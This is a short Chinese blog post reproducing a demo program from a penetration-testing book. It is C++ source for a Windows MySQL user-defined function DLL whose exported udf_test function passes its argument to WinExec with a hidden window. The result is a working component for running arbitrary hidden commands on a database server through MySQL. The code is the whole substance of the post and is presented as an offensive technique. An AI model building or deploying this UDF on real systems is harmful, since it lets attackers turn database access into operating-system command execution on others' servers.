MySQL自定义函数的Windows版本实现

/* my.cpp
*
*《网络渗透技术》演示程序
*作者:san, alert7, eyas, watercloud
*
*MySQL自定义函数的Windows版本实现
*/

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

enum Item_result ;

typedef struct st_udf_args
{
  unsigned int arg_count; /* Number of arguments */
  enum Item_result *arg_type; /* Pointer to item_results */
  char **args;/* Pointer to argument */
  unsigned long *lengths; /* Length of string arguments */
  char *maybe_null; /* Set to 1 for all maybe_null args */
} UDF_ARGS;

  /* This holds information about the result */

typedef struct st_udf_init
{
  char maybe_null;/* 1 if function can return NULL */
  unsigned int decimals;/* for real functions */
  unsigned int max_length;/* For string functions */
  char*ptr; /* free pointer for function data */
  char const_item;/* 0 if result is independent of arguments */
} UDF_INIT;

extern "C" {
__declspec(dllexport) int udf_test(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error);
}

int udf_test(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
  if( args->arg_count != 1 )
  return 0;

  WinExec( args->args[0], SW_HIDE );
  return 0;
}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值